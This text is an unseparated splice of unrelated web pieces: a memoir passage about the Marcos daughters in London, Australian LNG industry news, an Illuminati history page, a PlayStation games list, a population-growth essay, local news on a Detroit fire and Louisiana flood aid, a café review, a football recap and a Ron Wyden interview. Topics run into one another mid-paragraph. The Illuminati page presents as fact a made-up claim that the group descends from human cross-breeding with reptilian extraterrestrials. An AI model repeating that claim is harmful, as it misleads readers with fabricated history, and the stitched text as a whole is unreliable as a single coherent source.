me, as Imee swept into the lobby. “I doubt it,” I replied, “the Marcoses are a law unto themselves. Nobody tells them what to do! That’s tantamount to suicide where they come from!” I greeted the newlyweds and introduced them to the manager. There were no apologies but then I didn’t expect there to be. There was more hissing and booing from the audience as we were escorted into the theatre in the middle of Scene 2 and blindly groped our way in the dark towards our seats in the middle of the front stalls. I cringed as people making space for us to pass, were forced to stand up, dropping their bags, coats and boxes of chocolates, their seats swinging shut with loud thuds. Feeling no guilt at all, Imee then whispered to me: ”What’s going on? What’s the story so far?” Trying to keep my voice as low as possible I whispered back. I could feel the glares in my direction as I explained the plot. I desperately wanted to leave, preferably in the dark, so no one could see me and point the finger. In the interval, as promised, the manager led us around to the private bar. He offered us drinks and then left. I started to make small talk. Where had they visited, who had they met on their travels, that sort of thing. I finally plucked up the courage to ask Imee the question that had really been on my lips. “Didn’t you feel really bad leaving your baby behind?” “Oh, yes, I miss him terribly,” Imee replied. “Surely you could have brought him with you, I mean with a yaya (nanny) so you could still have gone out and enjoyed yourselves?” “Yes, but Daddy wanted me to leave him. He thought it would be safer.” “But,” I persisted, “I heard you were breastfeeding. Did you have to stop, just like that?”
I was really dying to know the answer to this. But, before Imee had a chance to reply, the composer Tim Rice and the actress Elaine Paige turned round to talk to us. More introductions and more pleasantries and then the bell rang and it was time to return to our seats. When the play was over, I escorted Imee and Tommy backstage. Imee was at her sparkling best. She talked, she laughed and, like her mother, she turned on the charm – but, if I or the actors were hoping for an apology for her late arrival, we were destined to be disappointed. Judith Bruce turned to me and whispered, “Well, Caroline, I’ve known you a long, long time but you always manage to surprise me with the people you know! Who on earth will you show up with next?” Graciously, like a well-rehearsed politician, Imee made her excuses to leave. Ben and I walked her back to the lobby where the theatre manager was waiting patiently. As soon as they spotted her the bodyguards sprang into action, raised their armalites, swivelled their eyes to scan the lobby and the street outside and fell into step behind her. She shook hands with the manager, thanked him for his arrangements and made her way through the glass doors out onto the Strand. The seven cars were waiting, engines revving. As she stepped into one of them, the minders piled themselves into the others and, with horns blaring and screeching tyres, they were off down the Strand. Ben and I stood, beleaguered, on the pavement. There had been no goodbyes for us, no thanks for arranging the evening and, despite the seven stretch limos, no offer of a lift home.
Later that same summer I found myself sitting on a sofa next to Imee’s younger sister, Irene. She and her new husband, Greg Araneta, were visiting London on their honeymoon. I now had a perfect opportunity to ask Irene why Imee had left her baby Ferdinand at home. “Daddy thought it was safer for him to stay in Manila,” Irene replied. “But I think I heard her saying she was still breastfeeding…” “Yes, she was.” Irene sounded bored. But I was intrigued. “How on earth did she continue to do that when she was travelling around Europe?” I persisted.” Irene glanced at me as though I was stupid. “Simple, Caroline!” she laughed. “She just expressed her milk everyday and then Daddy sent a Philippine Airlines plane to wherever she was and it would bring the milk back!” Irene shrugged her shoulders as if to say – isn’t that what every mother does when she’s away from her newborn baby for several weeks? Now I understood why all my friends had been complaining during that time that all the Philippine Airlines flights to Europe had either been delayed or cancelled. The solution was obvious. The presidential dairy run was abducting the planes and flying Imee’s precious breast milk back to Manila. This is when it really dawned on me that the Marcoses lived on a totally different planet to the rest of us.Energy Minister Ian Macfarlane told the roundtable that batteries would play a big role but their prices needed to fall further and their lifetimes be extended.
Mr Macfarlane said the fact that construction workers were being laid off in the oil and gas industry would hopefully lead to labour costs falling to a more competitive level, but the first step in solving the problem lies with the industry.
"I think the industry has realised that they too need to do that, The days of $18 gas into Japan are perhaps fading and so their gas price is lower they must keep their costs under control. Sharing infrastructure is part of that."
Gas export industry must earn its place
Australia's gas export industry has to "earn its place in the queue" against other competing energy sources, having fallen out of the running on competitiveness, Mr Coleman said.
The industry, which will complete a $250 billion wave of investment in the next couple of years, can't just sit back and rely on expected increasing demand for cleaner energy in Asia to underpin a new wave of investment in LNG supply, he said.
"There's an opportunity there but it's for us to grab; it's not an opportunity that is going to sit there and wait for us."
Mr Coleman said the next wave of LNG projects in Australia, such as Woodside's own Browse floating LNG project, was "not going to happen naturally" and had to be earned.
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"We've lost our place in the queue; we're going to have to earn that place again," Mr Coleman said.
"The way we do it is becoming a reliable producer showing that we are investment friendly and showing that we can market and trade with the best of them in the world."
Collaboration and leveraging off the huge amount of LNG infrastructure built in the boom would be vital to secure a new wave of investment in the sector, said Santos vice president, strategy and corporate development, Peter Cleary.
"We've built a lot of LNG infrastructure in this country; we've now got to start to utilise that more efficiently," he said. "Building new plant everywhere around Australia is not a good way to keep your costs down. If we can use that brownfield opportunity we can grow with the Asian market."The meaning of the word Illuminati comes from the Latin coined term meaning Illuminatus. The word Illuminatus then translates into “enlightened” which was what the group first started out as. They hoped to enlighten mankind about the truths behind everyday items. There have been many rumours and questions going around about the Illuminati and hopefully, some of the below information will be able to help anyone realize what the Illuminati group is all about, who they are including their history, facts and conspiracies. People who are members of the Illuminati can be found on many different walks of life and although some try to keep themselves as hidden as possible there are a few who flaunt their membership of this group.
Illuminati: The History, Members and Conspiracy
Illuminati History
The prehistoric origin of Illuminati traces back thousands of years following a genetic cross-breeding between the human race and reptilian extraterrestrial beings however the modern Illuminati group was founded on the first of May, 1776 which was the same year that America became independent. It was formed by a man named Adam Weishaupt who was a German citizen of the city of Bavaria. After it was founded, their number grew substantially from the original five that were the first elite foundation members and increased to over two thousand Illuminati members that joined over a period of 10 years, spreading out all across the world, but mostly concentrated in Europe. These early Illuminati members included prominent and literary men such as Johann Wolfgang Von Goethe and Johann Gottfried Herder who were well-known novelist and philosophers respectively, in those times. Also part of the group were the reigning dukes of Gotha and Weimar. Their acclaimed main purpose of existence was to stand against religious influence and dominaion over people’s lives, oppose superstition, prejudice and incessant abuses of state power.
Also part of their original agenda was to support and booster women’s education, influence and encourage gender equality all for which it was initially planned to bear “Perfectibilists” as the name of the group. However, in many peoples’ opinion including scholars, this may have been the original plan but is recently very far from their current agenda and conspiracy.
The Illuminati faced massive opposition and challenges when the Bavarian government was changed in 1777 which saw Karl Theodor became the ruler. He banned all secret societies including the Illuminati, forcing their founder to flee while the home of the second in command (Von Zwack) was searched and much of the group’s articles retrieved.
Illuminati Conspiracy Theory
Between 1797 and 1820, there were several publications citing that Illuminati had survived the dismantling initiated by
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ous series in contrast to say Metal Gear Solid or Resident Evil, there is no doubt that Syphon Filter is significant franchise, which helped solidify the PlayStation as a strong gaming platform.
Check for Syphon Filter Series on eBay
Wipeout Series
If the technical racing of Gran Turismo isn’t your thing, perhaps you would enjoy the high-speed futuristic racing that the Wipeout series has to offer. Considering it was released in 1995, its impressive how much fast and smooth this racer ran on the PlayStation hardware. The game was also released on the Saturn, but because the developers struggled with the dual-processor setup of Sega’s machine, didn’t have quite the graphical flair of the PS1 version.
In addition to the adrenaline-pumping speed, Wipeout was also known for its audio quality and soundtrack. The techno tracks from The Chemical Brothers, Orbital, CoLD SToRAGE, and other artists propelled Wipeout to the top of many gamers favorite soundtrack lists.
Wipeout XL (known as Wipeout 2097 outside of the US) was released a year later. As expected, the sequel added a few things here and there such as new tracks, crafts, and weapons. It also made it a bit easier for beginners to pick up and play while still giving experienced players a challenge. The game was criticized for not having slip-screen multiplayer, but it did offer PS1 owners to link two PlayStations together for networked play.
Check for Wipeout Series on eBay
Driver Series
Driver, developed by Reflections Interactive (creators of the successful Destruction Derby series) has you adopt the role of Tanner, an NYPD undercover detective tasked with infiltrating an underworld syndicate of crime gangs as a wheelman. Your wheelman role has you fulfilling several roles, such as getaway driver, delivery man and car thief or in one particular amusing mission, intimidating a particular taxi customer into disclosing lucrative information through reckless driving.
The game was designed to be faithful to 60s and 70s car chase films such as Bullitt or the TV show Starksy and Hutch. Characters are dressed in 70s getup and the music has chicken scratch guitar and grooving basslines synonymous with that period.
The game’s ‘Director’s Mode’ was highly praised by critics and gamers at the time of release for it’s unique ability to fully edit and sequence camera angles during replays of your missions (or just general driving around in ‘City’ mode.) Hours could be spent tweaking your replays into seamless 70s action sequences. This added longevity to the game despite its lack of multiplayer mode.
The games story is split into four main cities, each city tasking you with missions for the three different gangs in the game. The cities are Miami (the city you receive your first real mission after you finish the punishing training mission), San Francisco, Los Angeles and New York City. Missions can occur at anytime of day and some missions are set at night with some impressive (for the PlayStation) lighting on the cars and roads.
The game was met with mostly positive feedback and acclaim upon its launch. Most criticism about the game was regarding its lack of multiplayer and somewhat punishing driving mechanic. Many people found that they could not get further than the training mission in the parking garage at the beginning of the game. This particular mission had you demonstrate your driving skills to a gang of thugs without damaging your car. Certain objectives were a little obscured such as the slalom through the pillars of the garage requiring you to do a 180 and go back through them and the infamous J-turn maneuver (reverse 180) all within a strict time limit.
Street Fighter Alpha 3
Even though 3D games were all the rage on the PlayStation, there were still a number of beloved 2D fighters on the platform as well. Franchises from both Capcom and SNK made their mark on the PlayStation, but Street Fighter Alpha 3 is probably the most treasured out of the bunch.
Gamers love the combination of the Street Fighter world and large character rosters, so Street Fighter Alpha 3 received a great deal of praise by merging the Alpha 2 cast with some beloved characters from Street Fighter 2 and in addition to some completely new contenders. The games also had a wonderful blend of fresh sprites, great combos, and a fighting system that was easy to play, but difficult to master. It also allowed great flexibility in choosing your fighting style, resulting in some great dorm-room matchups back in the day.
In most cases, the PlayStation was at a huge disadvantage to the Sega Saturn when it game to 2D fighters. The Saturn was a 2D powerhouse with lots of RAM. The PlayStation, on the other hand usually had stripped-down ports of the arcade favorites. However, Street Fighter Alpha 3 for the PS1 was actually a superb arcade port that also offered a number of extra game modes. The end result was one of the best 2D Games that Pushed the Playstation to Its Limits.
Check for Street Fighter Alpha 3 on eBay
Einhander (and the rest of the Shmup library)
In addition to 2D fighting games, the PlayStation was also a haven for fans of 2D shooters. There are a ton of good arcade ports in addition to some PlayStation exclusives. As was the case with the far more ill-fated Sega Saturn, many of the shooters on the PlayStation never saw release outside of Japan, and remain veiled in obscurity to this day.
One such game, however, that nearly any player of the era has at least heard of, is this uncharacteristic Squaresoft production. Having been catapulted out of the niche market in the West by the runaway success of Final Fantasy VII, the company was riding high, and eager to spread its wings farther outside of the RPG and Strategy genres than usual; in addition, it was less afraid to take the risk of localization, giving foreign gamers a shot at some of its more unusual titles. Thus Einhander, unlike so many of its kin, was both widely-available (except in Europe, unfortunately) and well-received enough to become, arguably, the shooter that defined the PS1.
Of course, the unusual-by-default nature of an old-fashioned shooter released in that era, as well as the suddenly-desirable Square label on the cover, weren’t the only things to garner the title so much attention, though they certainly were factors. Its graphics certainly didn’t hurt its cause either – while we are talking 32-bit polygons here, the designs and details (your craft is especially nifty-looking) were top-notch back in the day, and actually still hold up rather well over ten years later. The cliché but solid techno-laden soundtrack and plot (in a bit of a twist, you’re actually the “invader”, sent by a moon colony to attack Earth) round out the presentation. Once you pick up the controller, in many ways the title plays like a “typical” side-scroller, but with a unique power-up system – with the exception of your default pea-shooter, the only weapons you’re going to get are the ones you can salvage directly from defeated enemies. This being the case, you’re required to aim carefully during battles, so as to blast rivals’ weapons off of them before bringing them down – if done properly, you can gingerly swoop in to collect their arms, and thereafter use them yourself.
Despite its sometimes being labeled as an example of a “modern” shooter, the game actually comes across as far more of an “old-school” tribute after spending some time with it, since it doesn’t hesitate to make you memorize its layout to succeed (let alone score well), not to mention send your sorry carcass back to a checkpoint with all your collected weapons gone after being shot down. As such, while the trimmings are most likely to appeal to curious newcomers to the genre, it will likely be the long-time shmuppers who will be most at home after becoming acquainted with its inner workings. All told, Einhander stands as an appealing, if slightly intimidating, blend of old and new, and the PS1’s most famous foray into the shooter realm. The game was recently put up for download on the PS3 via the Japanese PlayStation Network, so if you’re unwilling to fight over an original copy on eBay this might be your chance to see what all the fuss is about.
Check for Einhander on eBay
Honorable Mentions:
There’s so many great games and franchises on the Playstation, it pains me to leave some of them off the full list. Here’s some others that were a big part of the the Playstation library. I’m sure you all have additional favorites — feel free to mention them in the comments below.From skyscraper apartment blocks to green tech to water security—population growth requires forward thinking when it comes to infrastructure. Engineer Gregory Oates outlines what this means for scientists, architects and anyone involved with technology.
Population size has great implications for what is expected from science and engineering, yet we have seemingly little influence in its planning.
World population has grown from about one billion in 1800 to seven billion today. Globally, the fertility rate, that is the number of children per woman, has fallen from five in 1965 to two and a half today. Although, with the population base growing, the growth rate has hovered fairly steadily at about eighty million extra people per year since the 1960s.
Less developed countries contribute ninety per cent of the current population growth. However, the impact of population growth in developed countries is magnified by a high-consumption lifestyle, with electricity use per capita six times that of the rest of the world.
The benefit to cost of reproductive health and family planning is arguably greater than any other form of aid and can ill afford to be overlooked. Unfortunately, it only makes up two per cent of OECD country aid budgets, due to various competing interests. This would need to be roughly tripled to meet UN project aims.
Global population growth is solely due to births exceeding deaths. At a national or regional level, migration is a significant factor and accounts for sixty-five per cent of population growth in developed countries.
Looking into the UN’s crystal ball predicts that population will continue to grow and then plateau around ten billion by 2100. This is the middle estimate. The lower estimate suggests a peak of about eight billion around 2050. The high estimate is for a staggering sixteen billion by 2100 and still climbing.
The population growth of the last 200 years is attributed to leaps forward in sanitation and healthcare extending life expectancy, and the industrial and agricultural revolutions leading to abundant energy and increased agricultural yields. This all involves science and engineering—water treatment, pharmaceuticals, cheap energy and fertilisers.
Scientists and engineers will be tasked with providing food, water and energy for at least another one billion and perhaps even three billion more people by 2050.
This is the point in a discussion on population, where we often come to the question: ‘So, how many people can the planet sustain?’
Given all the interrelations, no-one can realistically state the ‘maximum population’. This is a complex topic linked to how we each want to live and inequality of wealth. It is tied to what size family we have or want, cultural or religious ideals, and what we desire to pass on to the next generation.
As scientists and engineers we may like to discuss hypotheticals for how many people may be provided for with potential resources and technologies.
However, the risks and shrinking slices of pie indicate more people are not of collective benefit – I find this an unavoidable conclusion.
After decades of impressive growth in agricultural output, food production continues to struggle to keep pace with population growth. Over half of fish stocks are fully exploited and agricultural practices are often unsustainable. Desertification is estimated to threaten twenty-five per cent of land. Scientists predict increasing atmospheric CO 2 will negatively impact our ability to yield food. The Food and Agriculture Organisation project 1.8 billion people will be in regions of water scarcity by 2025. Demand for energy intensive desalination is increasing, where it can be afforded. And society is having difficulty fast-tracking to renewable energy.
More people simply will not increase living space or access to basic resources, which human dignity relies upon.
To give perspective, population is clearly not the only pressing global issue, nor is lower population the only solution to pressing global issues.
Nevertheless, there is clearly a big gap in the UN’s lower and higher estimates, indicating that the future is far from a formality. The difference in the projections depends on the family sizes that people around the world choose and are able to implement. These choices represent vastly different qualities of life, environment and security for everybody.
Consider an area where population is steady, and goods and services are produced at economy of scale. There is enough demand to maintain niche experts and services, and perhaps even attract a headline band once in a while.
The output of useful goods and services of the area will follow the so called ‘law of diminishing returns’. This means that each extra unit of output will require a little more labour than the previous unit. This is because we have a fixed or declining resource base and we tend to pick the lowest hanging fruit first. For example, we use the most fertile soil first; we go for natural fish stocks before setting up a fish farm; we use freely flowing fresh water or aquifers before bothering to build a desalination plant; we exploit the conventional oil and gas reserves before exploring difficult terrain; the same goes for minerals, where we cherry pick the richest ores first; and even with renewable energy we will pick the areas with the best conditions to capture wind and solar energy first.
Let’s imagine if our area doubles its population and reaches a new steady state. There will be a transient period where work rate increases to expand infrastructure and production to meet the growing demand. During this phase a greater proportion of the economy will need to be invested to allow for expansion. Financing this expansion is likely to result in pushing up public debt. The transient phase continues until population steadies and output reaches demand.
Our area, now with twice the labour, increases its output of goods and services significantly. However, it will not double for the same amount of work per person, as resources have not doubled. This is the law of diminishing returns doing its thing.
Subsequently, output per capita falls. The average citizen is worse off.
The only financial winners are those with the biggest stakes in expanding total output.
The majority of places in the world are continuously in this population growth phase, where living space falls and waste rises. Supply of goods, services and infrastructure, either innocuously or disastrously, struggles to keep pace with demand.
This example assumed no technological improvement over time. However, in reality we are always improving technology; quite successfully in fact. This counteracts the diminishing returns discussed and overall quality of life has generally improved. Technological advance has occurred parallel to population growth, but it is not dependent on it.
So, one must question, is this the path we wish to continue on?
For how long can we keep chasing our tail?
Shifting from an expanding population to a stable population shifts the economy. It allows capital to be handed down from generation to generation with each having time to maintain, upgrade and replace it without trying to expand. Where infrastructure is lacking, it allows time for investment to catch up to the basic needs of the public. It leaves a greater proportion of the economy to be put into activities of improvement rather than expansion, such as health, education and training, and development and implementation of innovative technology. It allows technology gains and investment to go solely to improving sustainability and wellbeing. The greatest benefit would flow to people with the least.
This is the crux of how population growth relates to scientists and engineers – do we want to be expanders or innovators?
However, overcoming population growth is a social challenge and does not require a technical solution. Currently, forty per cent of all pregnancies are unintended.
A universal culture of freedom to choose one’s family size and the ability to put it in place is required. The alternative would eventually involve worsening living conditions and life expectancy, regardless of technological developments.
As difficult as achieving this culture may seem, many poor countries achieved it in the 1970s and 1980s. The main barrier for the remaining high population growth countries is a lack of political will. The successes have not been limited by illiteracy, culture or religion. For example, Iran reduced their fertility rate from 6.5 in the 1980s to 1.7 today. Nor does this culture need to wait for economic growth.
Beyond population growth Sunday 29 September 2013 Population size has great implications for science and engineering. More This [series episode segment] has image, and transcript
What are needed are increased global focus and scaling up of efforts in education and family planning services. Based on figures from the International Planned Parenthood Foundation, such services reduce unintended pregnancies at a cost of about US$50 each. This may seem like a cold figure to state. But, one must also contemplate the less measurable benefits beyond those already discussed, such as the impact on empowerment of women, maternal health, child mortality and the future benefits of children being better supported.
Such aid tackles issues deeply and is the most humane approach.
The UN recognises lowering fertility as a key to accelerating achievement of the Millennium Development Goals. They have estimated each dollar spent on family planning saves up to US$6 in other aid. The benefit to cost of reproductive health and family planning is arguably greater than any other form of aid and can ill afford to be overlooked. Unfortunately, it only makes up two per cent of OECD country aid budgets, due to various competing interests. This would need to be roughly tripled to meet UN project aims.
The notional end point of such a strategy would be when there is universal basic education, freedom of choice regarding family size and access to health services to implement them. The sum of these individual choices over a single generation could effectively lead to the stabilisation of global population.
The final responsibility for population planning rests with each nation.
So what of the role of scientists and engineers on population?
We are well qualified to grasp the implications of population size and growth rate and should be more active than most in influencing policy makers to focus and plan appropriately.
Political leaders all too often continue to see population growth as a necessary ingredient for a functioning economy. A strong and resilient economy is dependent on abundant resources, a healthy environment and a productive workforce, not on expansion.
Further, we have a responsibility to communicate environmental and social impacts to the public.
We may also choose to take a role in challenging counterproductive policies. The pyramid scheme that we must have population growth to counter an ‘ageing population’ is one example. Ageing is a natural part of transitioning to a stable population with long life expectancies.
Most importantly, as scientists and engineers we need to be consciously involved in the type of growth we want and push for a society where we are innovators that lead to growth in sustainability and wellbeing.
This is an edited transcript of Gregory Oates' Ockham's Razor.DETROIT - A woman was forced to throw her three children from a window Wednesday to help them escape from an apartment fire on Detroit's west side that left several people injured.
An apartment building burned Dec. 27, 2017 on Glendale Avenue in Detroit. (WDIV)
Around 3 a.m., fire crews battled a fire that rekindled following the initial fire, which was extinguished around midnight, at the apartment building on Glendale Avenue near Woodrow Wilson Street.
A witness said 60 people lived inside the building and several had to be transported to the hospital for treatment of smoke inhalation.
Two people were forced to jump from a second-floor window to escape the flames. Both suffered minor injuries.
Sheresa Johnson with her three daughters: Angel, Angela and Miracle. (WDIV)
Angel, Angela and Miracle took a picture from the hospital. (WDIV)
Sheresa Johnson, 25, was forced to toss her three children -- ages 5, 4, and 1 -- out of a window to safety. She and her entire family were on the top floor of the apartment, with smoke and fire roaring toward them.
She decided to toss Angel, 5; Angela, 3; and Miracle, 1; out of the top-floor window.
Sheresa Johnson threw her three children from a window to save them during an apartment fire. (WDIV)
Angel, Angela and Miracle were thrown from the apartment building on Detroit's west side. (WDIV)
"I told them what they were about to do," Johnson said. "I told them it was on fire. They just came out the window."
Four other children also escaped the fire.
One firefighter suffered burns to his face and neck. Two other adults were hurt.
Johnson said her children lost their Christmas gifts, and she said she lost everything except her children. You can donate to her GoFundMe page here.
The American Red Cross had a crew at the building to make sure residents had a place to go.
Authorities believe the cause of the fire may have been electrical.
Stay with ClickOnDetroit for updates.
Copyright 2017 by WDIV ClickOnDetroit - All rights reserved.Last week, Remedy House—Buffalo’s much-anticipated, highly Instagrammable, sunlight-soaked new coffee shop—began operation in the historic Five Points neighborhood (see background).
Open at 6 a.m. daily, Remedy House offers an impressive coffee and espresso program carefully designed by co-owners Andrew Trautman and Justin Smith. The program was largely informed by Trautman’s years of experience as a barista and running pop-up espresso bars around the city.
Among its many virtues are the quality of its ingredients. At present moment, Trautman and Smith source their beans from Propeller Coffee, a small-batch specialty roaster based in Toronto, and their cow’s milk from Tea Cup Farms in Barker, New York. The latter is a minimally processed, low-heat pasteurized product that—I can attest—makes for an especially rich and flavorful espresso drink. For the dairy averse, Remedy House also carries almond and walnut milk from Elmhurst 1925 in Elma, New York.
For a side of sustenance with their caffeine, guests can nibble on French-inspired pastries—including a sublime financier—by talented pastry chef Keyin Fulford, whose resume includes stints at bakeries like Bien Cuit in New York.
But Remedy House is more than a coffee shop. Modeled after the sidewalk cafés of Paris, it seems destined to function as a neighborhood focal point and all-day gathering place—somewhere one can steal precious moments of social connection or quiet reprieve from the hustle and bustle of life.
That destiny is pretty much cemented in its charming design. Located at the intersection of Rhode Island and West Utica Streets, Remedy House is sited on the ground floor of a dramatic early 20th century building whose unconventional triangular architecture helps evoke that old world, escapist vibe. In warmer months, the café’s westward facing floor-to-ceiling windows will open completely to the street outside, and terrace seating will be available on both sides of the building, adding to both its appeal and the neighborhood’s growing vitality.
In time, Remedy House will also operate from a food and beverage perspective like a full-fledged Parisian café. That evolution will likely begin sometime this week (or as soon as Trautman and Smith have their liquor license in hand) with the introduction of alcohol service. In true French fashion, the duo will keep things simple but impeccably curated with a thoughtful selection of natural and small-producer wines, bottled and canned beer, amari, and a tight menu of simple, classic cocktails, including Remedy House’s signature tipple, the Negroni.
The food menu is also poised for expansion. In fairly short order, it will come to include salads and classic French sandwiches like jambon-beurre at lunch and charcuterie, cheese, warm olives, and other bar snacks in the evening hours.
As these developments unfold and word gets out, I suspect Remedy House will become a prime destination for cozy boozy brunches, lazy afternoon people watching, sunset aperitifs, and convivial after dinner drinks. I just hope there’s a seat left for me.
Remedy House | 429 Rhode Island | Buffalo, New York 14213 | (716) 250-7724 | FacebookAdvertisement Flooding in Louisiana: How to apply for federal disaster assistance Share Shares Copy Link Copy
Residents in 20 Louisiana parishes are now eligible for federal disaster assistance. Those parishes include: Acadia, Ascension, Avoyelles, East Feliciana, Evangeline, Iberia, Iberville, Jefferson Davis, Lafayette, Point Coupee, St. Landry, St. Martin, St. Tammany, Vermilion, Washington and West Feliciana have joined East Baton Rouge, Livingston, St. Helena and Tangipahoa. You can register for disaster assistance in either of two ways:Online at DisasterAssistance.govBy calling 800-621-3362Survivors only need to register once. The toll-free telephone number is operating from 6 a.m. to 10 p.m. seven days a week until further notice.The Federal Emergency Management Agency never charges fees to apply for or receive federal disaster assistance. State and federal officials encourage disaster survivors to be alert for scams and report any suspicious activity to law enforcement immediately. Assistance provided by FEMA for homeowners and renters can include grants for rent, temporary housing and home repairs to their primary residence, as well as other serious disaster-related needs, such as medical and dental expenses or funeral and burial costs.Low-interest disaster loans from the U.S. Small Business Administration also may be available to help individuals and business owners recover from the effects of the disaster. SBA helps businesses of all sizes, private nonprofit organizations, homeowners and renters fund repairs or rebuilding efforts and cover the cost of replacing personal property that has been lost or damaged due to disaster. The loans cover losses not fully compensated by insurance or other recoveries and do not duplicate benefits of other agencies or organizations. Homeowners and renters should apply as quickly as they can, even if they have insurance. FEMA cannot duplicate insurance payments but underinsured applicants may receive help after their insurance claims have been settled.Residents are urged to contact their insurance company to file their flood insurance claims. For flood insurance policyholders who may have questions, FEMA has streamlined its process to better service claims and answer questions. Policyholders may call 800-621-3362 Monday through Friday from 8 a.m. to 6 p.m. and select option 2. Call center staff are available to assist policyholders with information regarding their policy, offer technical flood guidance to aid in recovery and respond to general as well as complicated questions about the National Flood Insurance Program. Policyholders with questions specifically about an insurance claim can be transferred to their insurance carrier for additional assistance.Keep up with local news, weather and current events with the WDSU app here.Sign up for our email newsletters to get breaking news right in your inbox. Click here to sign up!A bizarre tone enveloped this game because it kicked off at 1 a.m. ET, while much of the country slept. It ended nearly four hours later -- around 11 p.m. on the Islands, 3 a.m. in Boulder and 5 a.m. on the East Coast -- on an even more eccentric note, when the clock expired as officials tried to set the ball for Colorado on the Hawaii 8-yard line.
Final score: Hawaii 28, Colorado 20.
Max Wittek threw for 202 yards and three touchdowns against Colorado. AP Photo/Eugene Tanner
The Buffs were driving in an attempt to tie the score, but running back Phillip Lindsay fell before reaching the first-down marker after catching a Sefo Liufau pass, so the clock kept ticking. There was a struggle to spot the ball -- it even bounced off a Hawaii player as officials tossed it among themselves to spot it -- and Liufau screamed in frustration as the clock ran out.
This last deluge of sloppiness was only the final act in a comedy of errors that saw five turnovers, a blocked punt and unsteady offensive play on both sides of the ball. In the end, Hawaii -- led by former USC quarterback Max Wittek, who was making his first start in three years -- delivered bigger plays on the offensive end to secure the victory.
What this means for Hawaii: Notching a win here was of critical importance for the Warriors, simply because of the opponents looming in front of them. A trip to defending national champion Ohio State is next for Hawaii, while games at Wisconsin and Boise State also await this month. So success is vital for morale's sake. It also exacts revenge for last year's result, a 21-12 Colorado win in Boulder.
What this means for Colorado: There has been talk of the Buffs' improvement in Year 3 of the Mike MacIntyre era, but this loss represents a severe blow to Colorado's 2015 bowl hopes. The Pac-12 South journey is treacherous, so Colorado would have been well-suited to finish nonconference play at 4-0 so that it could reach the seven wins necessary for bowl eligibility. This loss -- and the Buffs' sloppiness in it -- pushes the dream of bowl eligibility to "extremely unlikely" territory. The Buffs face UMass next.
Player of the game: Hawaii receiver Marcus Kemp. He delivered six big catches for 116 yards, including the game's most impactful play, a 79-yard third-down catch and score from Wittek. That touchdown featured a broken tackle in the open field. Some of Kemp's other catches were highlight-reel material, as he soared high into the air to snatch Wittek's bullets.
The game turned when: Hawaii's Keelan Ewaliko blocked Colorado punter Alex Kinney after the Buffs went three-and-out on their first possession. That put the Warriors in position for a quick touchdown and they led from that point on. More significantly, the blocked punt set a tone of sloppiness that plagued both teams: A television halftime analyst even admitted that this game was "not for the faint of heart." Another one lamented the "cacophony of errors" at Aloha Stadium. As illustrated by the hectic final sequence, all the mistakes proved most damaging to Colorado -- so we'll consider their initial gaffe to be this game's turning point.The Democratic senator from Oregon and intelligence committee member says he is ready to safeguard civil liberties and privacy under the new administration
Ron Wyden is taking Donald Trump at his word.
Much of official Washington is wondering whether Trump will implement the agenda that won him the presidency. Some of Trump’s defenders, like tech investor Peter Thiel, contend that Trump should not be taken literally.
But the Democratic senator from Oregon shows no signs of interest in that discussion. As perhaps the Democratic party’s premier civil libertarian on Capitol Hill, his anticipation of the Trump administration starts from the perspective that the president-elect will govern as he campaigned: against Muslims, against immigrants, for torture, for surveillance. Wyden, from his perch on the intelligence committee, is preparing for a four-year battle.
“We’re going to have to make sure now that a political agenda doesn’t replace a set of constitutional priorities. That’s the heart of it,” Wyden said in an interview with the Guardian this week.
Wyden is one of the few national politicians who can plausibly claim to have fought national security abuses and championed civil liberties with equal vigor in the George W Bush and Barack Obama administrations. He is far more comfortable discussing policies or proposals than he is discussing personalities, opting to refer to Trump simply as the president-elect.
“You look at some of what the president-elect has to say and it certainly ought to be a wake-up call from the standpoint of potential abuse of power,” Wyden said.
A quote sticking in Wyden’s mind these days is one Trump issued in July after the Democratic National Committee hack, which US intelligence has blamed on Russia. Trump, discussing his political opponents, mused: “Honestly, I wish I had that power. I’d love to have that power.” By 20 January, it will no longer be hypothetical.
Barely a week after the election, Wyden conceded that it’s “probably early for strategy”, but he said he has early priorities for racking up wins, in order to provide privacy, cybersecurity and civil-liberties advocates with the momentum needed to take on the Trump administration.
One is to block a measure Wyden said is “still alive in the intelligence authorization” bill that would provide the FBI with powers to scour Americans’ browser history without court oversight. There, his approach is straightforward: “running the clock out” on the current Congress and “scour all these bills” to see it doesn’t get added to any other piece of legislation. But congressional inertia can cut against him as well.
On 1 December, an impending change to the federal rules of criminal procedure will vastly expand law enforcement’s ability to remotely hack suspect electronic devices, unbound by jurisdiction. Opponents have few options, as the change, known as Rule 41, will take effect if Congress “does what it does best – which is nothing”, Wyden said. “We understand our backs are against the wall.” He and his allies, including Democratic senator Chris Coons and GOP senator Mike Lee, are attempting to delay the change.
When Trump officially takes over, the stakes will escalate. Perhaps most urgent is Trump’s proposal to create a database of Muslims, which is “just light years away from what you can debate is constitutional”, Wyden said.
“I will use my opportunities on the intelligence committee, as a member of the Democratic caucus, the bully pulpit that I have, to drive that message from one end of the country to another. That would be unconstitutional,” Wyden said.
By the end of 2017 will come an epic fight against the intelligence agencies over surveillance. They will seek the renewal of an expiring legal provision, known as Section 702 of the Foreign Intelligence Surveillance Act, that permits a vast dragnet of data collection, to include Americans’ international communications.
“Our fight to reform 702 also got a lot more important as the result of the election,” Wyden said.
Similarly, he considers Trump’s call this year to boycott Apple over its encryption battle with the FBI indicative of antipathy to privacy-protective cybersecurity.
Wyden said he “will fight the Trump administration, and again, Democrats and Republicans in the Congress” who propose weakening encryption; telling Vice he would filibuster any such effort.
Unprompted, Wyden anticipates relitigating the years-old fight against torture, an issue prospectively settled under Obama, though anything but when it comes to addressing the CIA’s history. With Trump, “we’re going to have to deal with that again”. A first step he is planning will be attempting to ensure the committee’s landmark torture report isn’t destroyed – a very real possibility if it escapes legal limbo to return to a panel now controlled by report opponent Richard Burr of North Carolina.
Trump’s allies are signaling that a legal prohibition on CIA torture enacted in 2015 is not an immovable obstacle. On CNN this week, Pete Hoekstra, a former House intelligence committee chairman, said, “That’d be a process you’d have to work through with Congress, and you’d probably do it in secret and you probably wouldn’t do it through the public process.”
It remains to be seen if Wyden would have access to such secret decisions, even from his perch on the intelligence committee. The Trump administration could revert to a process of keeping the full committee from learning most intelligence practices. Wyden’s “very good relationship” with incoming ranking panel Democrat Mark Warner of Virginia will become critical to those efforts.
